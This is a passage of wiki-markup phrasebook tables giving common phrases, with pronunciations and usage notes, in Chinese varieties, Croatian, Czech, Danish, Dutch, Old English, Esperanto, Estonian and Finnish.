|{{IPA|/sɐi2 sɐu2 kɑːn1 hɐi2 piːn1 tou6 ɑː3/}}
|-
|Do you speak English?
|你識唔識講英文呀？
|''nei5 sik1 m4 sik1 gong2 jing1 man2 aa3''
|{{IPA|/nei5 sɪk1 m̩4 sɪk1 kɔːŋ2 jɪŋ1 mɐn2 ɑː3/}}
|}

Note: Cantonese, like most of the other Chinese languages, does not actually have words for &quot;yes&quot; and &quot;no.&quot; Translations for &quot;yes&quot; and &quot;no&quot; given above actually mean &quot;it is&quot; and &quot;it is not&quot; and can be used for questions asking for confirmation. However, for certain yes/no questions, one would normally respond with the verb or the negation of the verb. For instance, to respond to a question such as &quot;do you want to go?&quot; one would respond with &quot;want&quot; or &quot;not want.&quot;

=== [[Standard Mandarin|Chinese, Mandarin]] ([[Chinese language|Sinitic]]) ===

''Note || Mandarin Chinese is a [[tonal language]]. Tone 1 (e.g. mā) is high and level; 2 (e.g., má) is rising; 3 (e.g., mǎ) is low dipping; 4 (e.g., mà) is falling. For more info, see [[pinyin]]. Also note that the first set of characters preceding the slashes are in [[Simplified_Chinese|simplified Chinese characters]] and the ones following the slashes are in [[Traditional_Chinese|traditional characters]]. If the simplified- and traditional-character versions of a phrase are identical, only one phrase is shown.'' 

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pinyin
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
! align=left | Literal meaning
|-
| Mandarin Chinese ||  国语 / 國語or &lt;br&gt; 普通话 / 普通話 || (''guóyǔ'') &lt;br&gt; (''pǔtōnghuà'')   || {{IPA|[kwɔ̌ jỳ]}} &lt;br&gt; {{IPA|[pʰù tʰʊ̋ŋ xwɑ̂]}} || (gwo yew)&lt;br&gt; (poo-toong-hwa) || National language &lt;br&gt; Common speech
|-
| hello || 你好 || (''ní hǎo'')  || {{IPA|[nǐ xàw]}} ||(knee-how) || You're good
|-
| good-bye || 再见 / 再見 || (''zàijiàn'')  || {{IPA|[tsâj ʨjɛ̂n]}} ||(dzai-jyen) || Meet again, lit &quot;to the next sighting&quot;
|-
| please || 请 / 請 || (''qǐng'')  || {{IPA|[ʨʰìŋ]}} ||(cheeng)
|-
| thank you || 谢谢 / 謝謝 || (''xièxie'')  || {{IPA|[ɕjɛ̂-ɕjɛ̂]}} ||(shyeh-shyeh)
|-
| that one || 那个 / 那個 || (''nèige'')  || {{IPA|[nêj gə]}} ||(nay guh) ||''See Usage Note 1''
|-
| sorry || 对不起 || (''duì bù qǐ'') || ||(dway boo chee)
|-
| how much? || 多少 || (''duōshǎo'')  || {{IPA|[twɔ̋ ʂàw]}} ||(dwo shahw) || Many few
|-
| English || 英文 || (''Yīngwén'')  || {{IPA|[jɪ̋ŋ wə̌n]}} ||(ing when)
|-
| yes || 是 || (''shì'')  || {{IPA|/ʂɻ̂/}} ||(sher as in sherpa) || ''See Usage Note 2'' || [It] is
|-
| no || 不  ||(''bù'')  || {{IPA|[pû]}} ||(boo)
|-
| where's the toilet? || 厕所在哪里 / 廁所在哪裏 || (''cèsuǒ zài nálǐ?'')  || {{IPA|[tsʰɤ̂ swɔ̀ tsâj nɑ̌ lì]}} ||(tsuh swo dzai nah lee?) || ''Not the politest, but you'll get your point across!'' || Bathroom at/in where
|-
| generic toast || 干杯 / 乾杯 || (''gān bēi'')  || {{IPA|[ka̋n pe̋j]}} ||(gahn bay) || || Dry glass/cup
|}
====Usage Notes====
# The second syllable of &quot;nèige&quot; is actually a generic [[measure word]]; it is replaced by the appropriate measure word for the noun it refers to. You may therefore hear a number of different syllables after the initial nèi. In many parts of southern China, nèi is also pronounced nà.
# This actually means &quot;it is&quot; and can only be used in an answer to a question with the verb &quot;to be&quot; (in casual speech, this can be neglected). Languages like Chinese, Irish, Toki Pona, and Welsh do not have words for &quot;yes&quot; or &quot;no&quot;. Instead you repeat the main verb of the question in your answer. Shaking your head in affirmation or negation works as expected, though speakers should ensure they are answering negative questions as literally asked – answering in the negative to &quot;You don't like him?&quot; would indicate that you ''do'' like him.

=== [[Shanghainese|Chinese, Shanghainese]] ([[Chinese language|Sinitic]]) ===
''Note: Chinese characters for Shanghainese are not standardized and are provided for reference only.  IPA transcription is for the Middle period of modern Shanghainese (中派上海话), pronunciation of those between 20 and 60 years old.''
{|class=&quot;wikitable&quot; style=&quot;font-size:12px;font-family: Lucida Sans Unicode, Arial&quot;
|-
!bgcolor=#EEEEEE|translation
!bgcolor=#EEEEEE|Northern Wu
!bgcolor=#EEEEEE|Lumazi
!bgcolor=#EEEEEE|IPA
!bgcolor=#EEEEEE|Simplified Chinese
|-
|Shanghainese (language):
|Zanheghaewo
|Zanheireiwo
|[{{IPA|z&amp;#593;&amp;#771;.'he.&amp;#614;&amp;#603;.&amp;#614;&amp;#650;}}]
|上海咸话
|-
|Shanghainese (people):
|Zanhegnin
|Zanheinin
|[{{IPA|z&amp;#593;&amp;#771;.'he.ɲɪɲ}}]
|上海人
|-
|I 
|ghoo, gnou
|wo, ngu
|[{{IPA|&amp;#614;&amp;#650;}}], [{{IPA|ŋu}}]
|我
|-
|we or I
|álá
|aelae
|[{{IPA|&amp;#592;&amp;#721;.l&amp;#592;&amp;#660;}}]
|阿拉
|-
|he/she
|ji
|yi
|[{{IPA|&amp;#614;i}}]
|伊
|-
|they
|jila
|yila
|[{{IPA|&amp;#614;i.la}}]
|伊拉
|-
|you (sing.)
|non
|non
|[{{IPA|noŋ}}]
|侬
|-
|you (plural)
|na
|na
|[{{IPA|na}}]
|人那
|-
|hello:
|non ho
|non ho
|[{{IPA|noŋ h&amp;#596;}}]
|侬好
|-
|good-bye: 
|tsewe
|tzeiwei
|[{{IPA|&amp;#712;tse.&amp;#614;ue}}]
|再会
|-
|thank you: 
|ziaja non
|zhaya non
|[{{IPA|ʑ̻ia.ja noŋ}}]
|谢谢侬
|-
|sorry:
|tevéchi
|teivechi
|[{{IPA|te.və&amp;#721;.ʨʰi}}]
|对勿起
|-
|but, however:
|daezu, daezu ne
|deizi, deizi nei
|[{{IPA|d&amp;#603;.zɿ]}}, [{{IPA|d&amp;#603;.zɿ.ne}}]
|但是, 但是呢
|-
|please:
|tshin
|chin
|[{{IPA|ʨʰɪɲ}}]
|请
|-
|that one:
|etsá, itsá
|eitzae, itzae
|[{{IPA|&amp;#712;e.ts&amp;#592;&amp;#660;}}], [{{IPA|i.ts&amp;#592;&amp;#660;}}]
|哎只, 伊只
|-
|there:
|etá, itá
|eitae, itae
|[{{IPA|&amp;#712;e.t&amp;#592;&amp;#660;}}], [{{IPA|i.t&amp;#592;&amp;#660;}}]
|哎耷, 伊耷
|-
|over there:
|emitá, imitá
|eimitae, imitae
|[{{IPA|&amp;#712;e.mi.t&amp;#592;&amp;#660;}}], [{{IPA|i.mi.t&amp;#592;&amp;#660;}}]
|哎米耷, 伊米耷
|-
|here:
|gétá
|getae
|[{{IPA|gə&amp;#721;.t&amp;#592;&amp;#660;}}]
|搿耷
|-
|to have
|jeuté
|youte
|[{{IPA|ɦiɤɯ.tə&amp;#660;}}]
|有得
|-
|to exist, here, present:
|láhe
|laehei
|[{{IPA|l&amp;#592;&amp;#721;.he}}]
|辣海
|-
|now, current:
|jieze
|yizei
|[{{IPA|&amp;#614;i.ze}}]
|现在
|-
|what time is it?:
|jieze citie tson?
|yizei citi tzon?
|[{{IPA|&amp;#614;i.ze ʨi.ti 'tsoŋ}}]
|现在几点钟？
|-
|where:
|ghalitá, sadifan
|ralitae, sadifan
|[{{IPA|&amp;#614;a.&amp;#634;i.t&amp;#592;&amp;#660;}}], [{{IPA|sa.di.f&amp;#x0251;&amp;#x0303;}}]
|何里耷, 啥地方
|-
|what:
|sa
|sa
|[{{IPA|sa}}]
|啥
|-
|who:
|sagnin
|sanin
|[{{IPA|sa.ɲɪɲ}}]
|啥人
|-
|why:
|wesa
|weisa
|[{{IPA|&amp;#614;ue.sa}}]
|为啥
|-
|when:
|sazencuan
|sazenkuan
|[{{IPA|sa.zəɲ.ku&amp;#x0251;&amp;#x0303;}}]
|啥辰光
|-
|how:
|nanen, nana, nanenca
|nanen, nana, nanenka
|[{{IPA|na.nəɲ}}], [{{IPA|na.na}}], [{{IPA|na.nəɲ.ka}}]
|哪能, 哪哪, 哪能家 
|-
|how much?:
|cidie a?
|cidi a?
|[{{IPA|ʨi.di 'a}}]
|几钿啊?
|-
|yes: 
|eh
|ei
|[{{IPA|&amp;#712;e}}]
|哎
|-
|no: 
|m, vézu, mmé, vio
|m, vezi, mme, vio
|[{{IPA|m&amp;#809;}}], [{{IPA|və&amp;#721;.zɿ}}], [{{IPA|m&amp;#809;mə&amp;#660;}}], [{{IPA|vi&amp;#596;}}]
|呒、勿是、呒没
|-
|telephone number: 
|diewo ghodeu
|diwo rodou
|[{{IPA|di.&amp;#614;&amp;#650; &amp;#614;&amp;#596;.dɤɯ}}]
|电话号头
|-
|home: 
|ólihian
|oelishan
|[{{IPA|o&amp;#721;.&amp;#634;i.ɕia&amp;#x0303;}}]
|屋里向
|-
|Come to our house and play.
|to álá ólihian le bésian.
|to aelae oelishan lei beshan.
|[{{IPA|t&amp;#596; &amp;#592;&amp;#721;.l&amp;#592;&amp;#660; o&amp;#721;.&amp;#634;i.ɕi&amp;#x0251;&amp;#x0303; le bə&amp;#721;.ɕia&amp;#x0303;}}]
|到阿拉屋里向来孛相（白相）！
|-
|Where's the restroom?:
|daseucae lélá ghalitá?
|dasoukei lelae ralitae?
|[{{IPA|da.sɤɯ.k&amp;#x025B; &amp;#634;ə&amp;#721;.&amp;#634;&amp;#592;&amp;#660; &amp;#614;a.&amp;#634;i.t&amp;#592;&amp;#660;}}]
|汏手间勒勒何里耷?
|-
|Have you eaten dinner?: 
|javae chícoulé va?
|yavei chiekule va?
|[{{IPA|ɦia.v&amp;#x025B; ʨʰɪ&amp;#721;.ku.lə&amp;#660; va}}]
|夜饭吃过了伐?
|-
|I don't know:
|ghoo véhioté.
|wo veshote.
|[{{IPA|&amp;#614;&amp;#650; və&amp;#721;.ɕi&amp;#596;.tə&amp;#660;}}]
|我勿晓得
|-
|Do you speak English?: 
|non Inven weté can va?
|non Inven weite kan va?
|[{{IPA|noŋ &amp;#712;ɪn.vəɲ &amp;#614;ue.tə&amp;#660; ka&amp;#771; va}}]
|侬英文会得讲伐?
|-
|I love you:
|ghoo e non!
|wo ei non.
|[{{IPA|&amp;#614;&amp;#650; e noŋ}}]
|我爱侬！
|-
|I adore you:
|ghoo emó non.
|wo eimoe non.
|[{{IPA|&amp;#614;&amp;#650; e.mo&amp;#660; noŋ}}]
|我爱慕侬
|-
|I like you a lot:
|ghoo lo huoehi non ghé!
|wo lo hueushi non re.
|[{{IPA|&amp;#614;&amp;#650; &amp;#634;&amp;#596; &amp;#712;huø.ɕi noŋ &amp;#614;ə&amp;#660;}}]
|我老欢喜侬个！
|-
|news
|sinven 
|shinven
|[{{IPA|ɕɪɲ.vəɲ}}]
|新闻
|-
|dead
|sithélé 
|shithele
|[{{IPA|ɕi.tʰə&amp;#721;.lə&amp;#660;}}]
|死脱了
|-
|alive
|wéláhe
|welaehei
|[{{IPA|&amp;#614;uə&amp;#721;.l&amp;#592;&amp;#721;.he}}]
|活辣海
|}

Unlike Mandarin, Shanghainese actually has the direct &quot;yes&quot; (eh/ei) similar to English.

=== [[Taiwanese (linguistics)|Chinese, Min Nan / Taiwanese]] ([[Chinese language|Sinitic]]) ===

''The Han characters provided below are for reference only. They are not necessarily standard.''

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Characters
! align=left | Romanization
! align=left | Remarks
|-
| Min Nan || 閩南語 || Bân-lâm-gú
|-
| Taiwanese || 臺灣話 ||Tâi-oân-oē
|-
| Hokkien || 福建話 || Hok4-kien3-oa7 
|-
| hello || 食飽未 ||{{IPA|Chia̍h pá boeh}}? ||(literally, ''Have you eaten yet?'' Note: This greeting came about at a time when most of Taiwan was in poverty, so to say that one has had enough to eat would be to imply that the person is &quot;doing well&quot;.)
|-
| goodbye || 平安 ||pêng-an || (literally, ''Peace'', can also be used as a greeting; primarily Christian usage.)
|-
| please || 拜託 ||pài-thok
|-
| thank you || 勞力 || ló·-la̍t
|-
| that one || 彼個 ||hit-ê
|-
| how much? || 若濟 ||goā choē?
|-
| yes || 是 ||sī
|-
| no || 唔是 ||{{IPA|m̄-sī}}
|-
| sorry || 失禮 || sit-le ||
|-
| embarrassed || 歹勢 ||pháiⁿ-sè || (often used in response when offered/given something by a host)
|-
| I don't understand what is said || 我聽無 ||Goá thiaⁿ bô
|-
| where's the bathroom? || 便所佇叨 || Piān-só• tī toh?
|-
| cheers! || 呼乾啦! || Hō• ta lah! || (literally, ''Let it [the cup/glass] be dry [empty]!'')
|-
| do you speak English? || 你咁講英語? || Lí kám kóng Eng-g&amp;uacute;?
|}

== [[Croatian language|Croatian]] ([[Slavic languages|Slavic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
|-
|-
| Croatian || '''hrvatski'''
|-
| hello || '''bog''' (''bok''), '''dobar dan'''
|-
| good-bye || '''doviđenja'''
|-
| please || '''molim'''
|-
| thank you || '''hvala'''
|-
| that one || '''to''', '''taj'''
|-
| how much || '''koliko?'''
|-
| English || '''engleski'''
|-
| yes || '''da'''
|-
| no || '''ne'''
|-
| generic toast || '''Uzdravlje!''' (to your health), ''Živjeli!''' (cheers)
|-
| I don't understand || '''Ne razumijem'''
|-
| Where is the bathroom || '''Gdje je zahod?'''
|-
| Do you speak English || '''Govorite li engleski?'''
|}

== [[Czech language|Czech]] ([[Slavic languages|Slavic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
! align=left | IPA
! align=left | Remarks
|-
| Czech || ''Česky'' || CHEHskee || {{IPA|/'ʧɛski/}}
|-
| Czech republic || ''Česká republika'' || CHEHskah REHpublikah || 
|-
| hello || ''dobrý den'' || DObree den || {{IPA|/'dobriː dɛn/}} || Literal translation: Good day
|-
| good-bye || ''na shledanou'' || na sKHLEdanow || {{IPA|/na 'sxlɛdanou/}} || Literal translation: Until we see each other again
|-
| please || ''prosím'' || PROseem || {{IPA|/'prosiːm/}} || Literal translation: I beg
|-
| thank you || ''děkuji vám'' || DYEkooyi vam || {{IPA|/'ɟɛkuji vaːm/}}
|-
| that one || ''tamten'' || tamten || {{IPA|/tamten/}}
|-
| how much? || ''kolik'' || KOlik || {{IPA|/'kolik/}}
|-
| English || ''anglicky'' || anglytskee || {{IPA|/angliʦki/}}
|-
| yes || ''ano'' ||  ||{{IPA|/ɑno/}} || Sometimes shortened to ''no'' (!)
|-
| no || ''ne'' || || {{IPA|/ne/}}
|-
| sorry || ''promiňte'' || || {{IPA|/promiɲte/}} || Literal translation: Forgive
|-
| generic toast || ''Na zdraví'' || || {{IPA|/na zdraviː/}} || Literal translation: To health
|-
| I don't understand || ''Nerozumím'' ||  || {{IPA|/nɛrozumiːm/}}
|-
| Where's the bathroom? || ''Kde je toaleta?'' || || {{IPA|/gdɛ jɛ toaleta/}}
|-
| Do you speak English? || ''Mluvíte anglicky?'' || || {{IPA|/mluviːtɛ angliʦki/}}
|-
| I don't speak Czech || ''Nemluvím česky''  || || {{IPA|/nɛmluviːm 'ʧɛski/}}
|-
| Do you speak Czech? || ''Mluvíte česky?'' || || {{IPA|/mluviːtɛ 'ʧɛski/}}
|-
| Where can I find a restaurant? || ''Kde najdu restauraci?'' || || {{IPA|/gdɛ najdu rɛstauraʦi/}}
|-
| Where is the nearest hospital? || ''Kde je nejbližší nemocnice?'' || || {{IPA|/gdɛ jɛ nejbliʃiː nɛmoʦniʦɛ/}}
|}

== [[Danish language|Danish]] ([[Germanic languages|Germanic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
! align=left | Remarks
|-
|Danish ||''dansk'' ||{{audio|Da-dansk.ogg|dansk}}
|-
|hello ||''hej'' ||{{audio|Da-hej.ogg|hi}}
|-
|good-bye ||''farvel'' ||{{audio|Da-farvel.ogg|fah-vel}}
|-
|please || || ||&lt;sup&gt;1&lt;/sup&gt; (Be understood. A matter of course, if not ''{{audio|Da-vær-så-venlig.ogg|Vær så venlig}}'') 
|-
|thank you ||''tak'' ||{{audio|Da-tak.ogg|tack}}
|-
|that one ||''denne her'' ||{{audio|Da-denne-her.ogg|DEN-neh haer}}
|-
|how much? ||''hvor meget?'' ||{{audio|Da-hvor-meget.ogg|vo MY-it}}
|-
|English ||''engelsk'' ||{{audio|Da-engelsk.ogg|ENG-uhlsk}}
|-
|yes ||''ja'' ||{{audio|Da-ja.ogg|ya}}
|-
|no ||''nej'' ||{{audio|Da-nej.ogg|nigh}}
|-
|may I take your (''sg'') picture? ||''Må jeg tage et billede af dig?''||{{audio|Da-billede-sg.ogg|Mo yigh tay-eh it bill-eth-e a die}}
|-
|may I take your (''pl'') picture? ||''Må jeg tage et billede af jer?''||{{audio|Da-billede-pl.ogg|Mo yigh tay-eh it bill-eth-e a yer}}
|-
|where is the bathroom? ||''Hvor er toilettet?''||{{audio|Da-hvor-er-toilettet.ogg|vo er toilettet}}||IPA: {{IPA|/toiˈlet/}}
|-
|where do you come from? ||''Hvor kommer du fra?''||{{audio|Da-kommer-fra.ogg|voor comma doo fra}}
|-
|do you speak English? ||''Taler du engelsk?''||{{audio|Da-taler-du-engelsk.ogg|tahler doo eng-elsk}}
|-
|generic toast ||''skål''||{{audio|Da-skål.ogg|skol}}
|-
|I don't understand ||''Jeg forstår ikke''||{{audio|Da-jeg-forstår-ikke.ogg|yigh for-stoh ik-eh}}
|-
|sorry ||''Undskyld''||{{audio|Da-undskyld.ogg|Listen}}
|-
|excuse me ||''Undskyld mig''||{{audio|Da-undskyld-mig.ogg|Listen}}
|}

===Usage Notes===
# No word directly corresponds to the word &quot;please&quot;. Danish and Finnish express the concept of politeness in a request in various ways.)  One way is to smile while asking for something, another is to add tak (thank you) to the end of the question: &quot;kan jeg få noget mere at drikke, tak&quot;, although this is more of an anglicised form of Danish.

== [[Dutch language|Dutch]] ([[Germanic languages|Germanic]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | pronunciation
|-
|Dutch || ''Nederlands'' ||{{IPA|/'neːdərlɑns/}} || (NAY-der-lahnds)
|-
|hello || ''hallo'' ||{{IPA|/hɑ'loː/}} || (hah-LO)
|-
|good-bye || ''tot ziens'' ||{{IPA|/tɔt 'ziːns/}} || (tott-ZEENS)
|-
|please || ''alstublieft'' ||{{IPA|/ɑlsty'blift/}} || (AHL-stu-BLEEFT)
|-
|thank you || ''dank u wel'' ||{{IPA|/dɑŋky'ʋɛl/}} || (DAHNK-u-WELL)
|-
|I don't understand || ''ik begrijp het niet'' ||{{IPA|/ɪk bə'χrɛip ət nit/}} || (Ick beyGRAYP hett neat)
|-
|that one || ''die'' ||{{IPA|/diː/}} || (dee)
|-
|how much? || ''hoeveel?'' ||{{IPA|/huː'veːl/}} || (who-VEIL)
|-
|English || ''Engels'' ||{{IPA|/'ɛŋəls/}} || (ENGels)
|-
|do you speak English? || ''spreek je Engels?'' ||{{IPA|/sprek jə 'ɛŋəls/}}|| (Spray-k ya ENGels)
|-
|yes || ''ja'' ||{{IPA|/jaː/}} || (ya)
|-
|no || ''nee'' ||{{IPA|/neː/}} || (nei)
|-
|I don't know || ''ik weet het niet'' ||{{IPA|/ɪk ʋet ət nit/}} || (Ick WAY-T hett neat)
|-
|generic toast || ''proost'' ||{{IPA|/proːst/}} || (proh-st)
|}

== [[Old English language|Old English]] ([[Germanic languages|Germanic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Comments
|-
|English || ''Englisc'' || {{IPA|/'ɛŋglɪʃ/}}
|-
|hello || ''wes hāl''&lt;br&gt;''wesaþ hāl''  || {{IPA|/wɛz haːl/}}&lt;br&gt;{{IPA|/'wɛzaθ haːl/}}; ||to one person&lt;br&gt;to more than one
|-
|good-bye || ''God þē mid sīe'' || {{IPA|/gɔd ðeː mɪd 'siə/}} || Literal: God be with you
|-
|please || ''iċ bidde'' || {{IPA|/ɪʧ 'bɪdːə/}} || or understood; see usage note.
|-
|thank you || ''iċ þancie þē'' || {{IPA|/ɪʧ 'θaŋkiə ðeː/}}
|-
|that one || ''geon'' || {{IPA|/jɔn/}}
|-
|how much? || ''hū fela?'' || {{IPA|/huː 'fela/}}
|-
|yes || ''gēse'' || {{IPA|/'jeːsə/}}
|-
|no || ''nō'' || {{IPA|/noː/}}
|-
|Where is the bathroom? || ''Hwǣr is þæt gangsetl?'' || {{IPA|/ʍær ɪz ðæt 'gaŋsetl/}}
|-
|where do you come from? || ''Hwanon cymst þu?'' (?) || {{IPA|/'ʍanon cymst ðuː/}}
|-
|do you speak English? || ''Spricst þu Englisce?'' || {{IPA|/sprɪʧ&lt;sup&gt;ə&lt;/sup&gt;st ðuː 'ɛŋglɪʃə/}}
|-
|I don't understand || ''Iċ ne understande'' || {{IPA|/ɪʧ ne ʊndɛr'standə/}}
|}
===Usage Note===
No word directly corresponds to the word &quot;please&quot;. Old English expressed the concept of politeness in a request in various ways.

== [[Esperanto|Esperanto]] ([[international auxiliary language]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Literal meaning
|-
|hello || ''saluton'' || {{IPA|/sa'luton/}}
|| (I give you) a greeting
|-
|good-bye || ''ĝis revido'' || {{IPA|/ʤis re'vido/}}
|| until an again-seeing
|-
|please || ''bonvolu'' || {{IPA|/bon 'volu/}}
|| be well willing
|-
|thank you || ''dankon'' || {{IPA|/'dankon/}}
|| (I give you) thanks
|-
|you are welcome || ''nedankinde'' || {{IPA|/nedan 'kinde/}}
|| not-worth-thanking-ly
|-
|that one || ''tiu'' || {{IPA|/'tiu/}}
|-
|how much? || ''kiom'' || {{IPA|/'kiom/}}
|-
|English || ''angla'' || {{IPA|/'angla/}}
|-
|yes || ''jes'' || {{IPA|/jes/}}
|-
|no || ''ne'' || {{IPA|/ne/}}
|-
|I am sorry || ''mi bedaŭras'' ||
|| I regret
|-
|I do not understand || ''mi ne komprenas'' || {{IPA|/mi ne kom'prenas/}}
|-
|Where is the toilet? || ''kie estas la necesejo?'' || {{IPA|/'kie 'estas la neʦe'sejo/}}
|| where is the necessity-place?
|-
|generic toast || ''Je via sano'' || {{IPA|/je 'via 'sano/}}
|| to your health
|-
|Do you speak English? || ''Ĉu vi parolas la anglan?'' || {{IPA|/ʧu vi pa'rolas la 'anglan/}}
|| do you speak the English (language)?
|-
|Excuse me, I do not speak Esperanto well || ''Pardonu min, mi ne bone parolas Esperanton'' || {{IPA|/par'donu min mi ne 'bone pa'rolas espe'ranton/}}
|-
|I do not know || ''Mi ne scias'' || {{IPA|/mi ne 'sʦias/}}
|}

== [[Estonian language|Estonian]] ([[Finno-Ugric languages|Finno-Ugric]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Comments
|-
|Estonian || ''eesti keel'' || {{IPA|/e:s.ti ke:l/}} || Stress is usually on 1st syllable. 
|-
|hello || ''tere'' ||{{IPA|/te.re/}} 
|-
|good-bye || ''head aega'' || {{IPA|/head.ae.ga/}}
|-
|please  || ''palun''  || {{IPA|/pa.lun/}}''
|-
|thank you ||  ''aitäh'' &lt;br&gt; ''tänan'' || {{IPA|/ai.tæx/}} &lt;br&gt; {{IPA|/tæ.nan/}} || h- is strong like ch in &quot;Loch&quot;, &lt;br&gt; (more formal term, it literally means &quot;I thank you&quot;.)
|-
|you're welcome || ''palun''  || {{IPA|/pa.lun/}}
|-
|that one ||  ''see''  || {{IPA|/se:/}}
|-
|how much?  || ''kui palju?''  || {{IPA|/kui pal.ju/}} ||  &quot;j&quot; is pronounced like &quot;y&quot;  
|-
|English || ''inglise keel'' ||{{IPA|/ing.li.se.ke:l/}}
|-
|yes ||''jah'' ||{{IPA|/jax/}}
|-
|no || ''ei''
|-
|sorry || ''vabandage'' &lt;br&gt; ''vabandust'' || {{IPA|/va.ban.da.ge/}} &lt;br&gt; {{IPA|/va.ban.dust/}}
|-
|I don't understand || ''Ma ei saa aru''  || {{IPA|/ma ei sa: a.ru/}}''
|-
|generic toast (literally &quot;into health&quot; or &quot;for health&quot;) || ''terviseks'' || {{IPA|/ter.vi.seks/}}
|-
|Do you speak English? || ''Kas te räägite inglise keelt?'' || {{IPA|/kas te ræ:.gi.te ing.li.se ke:lt/}}
|-
|Where is the bathroom/toilet? || ''Kus on tualett/ WC?'' || {{IPA|/kus on tua.lett/ ve:ts/ve:tse:/}}
|-
|Merry Christmas and a Happy New Year! || ''Häid jõule ja õnnelikku uut aastat!'' || {{IPA|/hæid jøu.le ja øn.ne.lik.ku uut aas.tat/}}
|-
|}

== [[Finnish language|Finnish]] ([[Finno-Ugric languages|Finno-Ugric]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Sound
|-
| Finnish 
| '''''suomi''''' 
| {{IPA|/'suo mi/}} 
| &lt;small&gt;(SUE-o-mi)&lt;/small&gt;
| ([[Media:suomi.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| rowspan=&quot;2&quot; | hello 
| '''''hyvää päivää'''''
| {{IPA|/'hyvæ&amp;#720; 'pæjvæ&amp;#720;/}}
| &lt;small&gt; (hoo-vah pay-vaah) &lt;/small&gt;
| ([[Media:hyvää päivää.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| '''''päivää''''' 
| {{IPA|/'pæjvæ&amp;#720;/}} 
| &lt;small&gt; (pay-vaah) &lt;/small&gt;
| ([[Media:päivää.ogg|listen]])
|-
| good-bye 
| '''''näkemiin''''' 
| {{IPA|/'nækemi&amp;#720;n/}} 
| &lt;small&gt;(NACK-eh-MEAN)&lt;/small&gt;
| ([[Media:näkemiin.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| rowspan=&quot;2&quot; | please 
| '''''ole hyvä'''''
| {{IPA|/'ole 'hyvæ/}}
| &lt;small&gt;(ole hoo-vah)&lt;/small&gt;
| ([[Media:ole hyvä.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| '''''kiitos''''' 
| {{IPA|/'ki&amp;#720;tos/}} 
| &lt;small&gt; (key-tose) &lt;/small&gt;
| ([[Media:kiitos.ogg|listen]])
|-
| thank you 
| '''''kiitos''''' 
| {{IPA|/'ki&amp;#720;tos/}} 
| &lt;small&gt; (key-tose) &lt;/small&gt;
| ([[Media:kiitos.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| that one 
| '''''tuo''''' 
| {{IPA|/'tuo/}} 
| &lt;small&gt; (to-oh) &lt;/small&gt;
| ([[Media:tuo.ogg|listen]])
|-
| how much? 
| '''''kuinka paljon''''' 
| {{IPA|/'kui&amp;#331;ka 'paljon/}} 
| &lt;small&gt; (queen-ka pal-yone) &lt;/small&gt;
| ([[Media:kuinka paljon.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| English 
| '''''englanti''''' 
| {{IPA|/'&amp;#603;&amp;#331;lanti/}} 
| &lt;small&gt; (ENG-lan-TEH) &lt;/small&gt;
| ([[Media:englanti.ogg|listen]])
|-
| rowspan=&quot;2&quot; | yes 
| '''''kyllä'''''
| {{IPA|/'kyl&amp;#720;æ/}}
| &lt;small&gt;(kul-lah)&lt;/small&gt;
| ([[Media:kyllä.ogg|listen]])
|-
| '''''joo''''' (informal)
| {{IPA|/'jo&amp;#720;/}} 
| &lt;small&gt;(yo)&lt;/small&gt;
| ([[Media:joo.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| no 
| '''''ei''''' 
| {{IPA|/ei/}} 
| &lt;small&gt;(ey)&lt;/small&gt;
| ([[Media:suomi ei.ogg|listen]])
|-
| sorry 
| '''''anteeksi''''' 
| {{IPA|/'ante&amp;#720;ksi/}} 
| &lt;small&gt;(on-take-see)&lt;/small&gt;
| ([[Media:anteeksi.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| I don't understand
| '''''en ymmärrä''''' 
| {{IPA|/&amp;#603;n 'ym&amp;#720;ær&amp;#720;æ/}} 
| &lt;small&gt;(en oom-mar-ra)&lt;/small&gt;
| ([[Media:en ymmärrä.ogg|listen]])
|-
| where is the toilet? 
| '''''missä on vessa?''''' 
| {{IPA|/'mis&amp;#720;æ on 'ves&amp;#720;a/}} 
| &lt;small&gt; (MIS-sah own VEHS-sah) &lt;/small&gt;
| ([[Media:missä on vessa.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| generic toast 
| '''''kippis''''' 
| {{IPA|/'kip&amp;#720;is/}} 
| (&lt;small&gt;KIP-pis)&lt;/small&gt;
| ([[Media:kippis.ogg|listen]])
|-
| Do you speak English? 
| '''''puhutteko englantia?''''' 
| {{IPA|/'puhut&amp;#720;eko '&amp;#603;&amp;#331;lantia/}} 
| &lt;small&gt;(poo-hoot-teh-koh eng-lawn-ti-a)&lt;/small&gt;
| ([[Media:puhutteko englantia.ogg|listen]])
|- valign=top bgcolor=#f8f8f8
| I don't speak Finnish. 
| '''''en puhu suomea''''' 
| {{IPA|/'en pu-hu suo-mea/}} 
| &lt;small&gt; (EN POO-hoo SUO-me-a) &lt;/small&gt;
